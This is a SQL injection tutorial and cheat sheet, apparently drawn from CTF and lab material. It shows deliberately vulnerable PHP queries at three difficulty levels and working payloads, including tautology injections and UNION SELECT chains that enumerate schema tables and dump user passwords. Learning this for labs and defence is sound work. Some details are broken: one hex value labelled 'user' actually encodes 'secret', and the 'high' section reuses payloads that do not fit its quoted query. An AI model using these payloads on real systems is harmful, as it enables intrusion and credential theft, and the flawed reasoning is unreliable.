SQL Injection

[SQL Injection] Source Code Review

:::info 💡 This source code are take from various places including CTF challenge, writeup and LEKIR framework. :::

❓ Purpose

:::success Source code review for SQL injection. ::: This tutorial is for learning purposes after completed module from portswingger. It can be a cheat sheet for any CTF competition.

🐾 Low Level SQL Injection

:::success This is basic SQL injection :::

<?php

---snippet---

    // Vulnerable code: directly inserting user input into the SQL query
    $query = "SELECT user_id, user_name, user_role FROM user WHERE user_id = '$id';";

    // Execute the SQL query and retrieve the results
    $result = mysqli_query($mysqli, $query);

    // Loop through each row in the result set
    while($row = mysqli_fetch_assoc($result)) {
        // Extract user information from the current row
        $userid = $row['user_id'];
        $username = $row['user_name'];
        $userrole = $row['user_role'];
--snippet--

}

?>

From above code, there is very common SQL injection where the user input directly being query.

$query = "SELECT * FROM user WHERE user_id ='$id';"

The query will give an output for specific id where it meet [user_id]. If the user input ', it will trigger an error which mean the vulnerability are there.

To exploit this, the payload must meet ==TRUE== conditions.

:::success 1' or '1'='1 ::: It need to include ' because in Query it check as strings user_id ='$id'.

The final query will look like 🉑 SELECT * FROM user WHERE user_id ='1' or '1'='1'

---

🐾 Medium Level SQL Injection

:::success This is medium SQL injection. Basic sanitize :::

<?php

---snippet---
    $id = mysqli_real_escape_string($mysqli, $_POST['user_id']);

    // Construct the SQL query to retrieve user information based on the provided user ID
    $query = "SELECT user_id, user_name, user_role FROM user WHERE user_id = $id;";

    // Execute the SQL query and retrieve the results
    $result = mysqli_query($mysqli, $query);

    // Loop through each row in the result set
    while($row = mysqli_fetch_assoc($result)) {

---snippet---

?>

The above code apply ==mysqli_real_escape_string== to filter the user input.

:::info mysqli_real_escape_strings or real_escape_string() are same. They use to filter special character :::

Using default payloads user_id=1' or '1'='1

The query will look like

SELECT * FROM user WHERE user_id ='1''\' or \'1\'=\'1'

The escape strings filter the input. But it still vulnerable if craft payload without '.

1 OR 1=1#

Payload being use

1 UNION SELECT database(), version(), NULL #

// Since it filter special character, we cannot call the table name or column name by it names. Need to change to hex. (table name = lekir) (lekir = 0x6c656b6972)

1 UNION SELECT table_name,null,null FROM information_schema.tables WHERE table_schema=0x6c656b6972#

//table_name = user = 736563726574
1 UNION SELECT column_name,null,null FROM information_schema.columns WHERE table_name=0x736563726574 AND table_schema=0x6c656b6972 #

//Final payload
1 UNION SELECT user_id,user_name,user_password FROM lekir.user #

It need to remove ' because it will check any special character and replace it. :::info Why we need to use hex instead of table/column name, because the input not in strings due to filter special character. :::

---

🐾 High Level SQL Injection

:::success This is HIGH SQL injection. Basic sanitize :::

<?php
session_start();
session_regenerate_id(true);

--snippet-- 
    // Check for valid crsf token
    if(isset($_POST['csrftoken'])){
      if($_POST['csrftoken'] !== $_SESSION['csrftoken']){exit('Invalid CRSF Token');}
    }

    // Declaring variable
    $id = $_POST['user_id'];

    try {
        // Construct the SQL query to retrieve user information based on the provided user ID
        $query = "SELECT user_id, user_name, user_role FROM user WHERE user_id = '$id' LIMIT 1;";

        $result = mysqli_query($mysqli, $query);

        echo "<code style='color:red;'>&quot; SELECT user_id, user_name, user_role FROM user WHERE user_id = <b>'" . htmlentities($id) . "'</b> &quot;</code><br>";
        // Loop through each row in the result set
        while($row = mysqli_fetch_assoc($result)) {
            // Extract user information from the current row
            $userid = $row['user_id'];
            $username = $row['user_name'];
            $userrole = $row['user_role'];

            // Display user information within HTML <pre> tags
            echo "<pre>User ID : {$userid}<br />Username : {$username}<br />Role : {$userrole}</pre>";
        }
    } catch (Exception $e) {
    // if error redirect to 500 page
    header("Location: 500.php");
        exit();
    }

--snippet--

}

?>

The above code check 3 things here, error handling redirect to 500 page + csrf token + randomize PHPSESSID. That means, we must have ==TRUE== statement only.

Payload being use

1 UNION SELECT database(), version(), NULL #

// Since it filter special character, we cannot call the table name or column name by it names. Need to change to hex. (table name = lekir) (lekir = 0x6c656b6972)

1 UNION SELECT table_name,null,null FROM information_schema.tables WHERE table_schema=0x6c656b6972#

//table_name = user = 736563726574
1 UNION SELECT column_name,null,null FROM information_schema.columns WHERE table_name=0x736563726574 AND table_schema=0x6c656b6972 #

//Final payload
1 UNION SELECT user_id,user_name,user_password FROM lekir.user #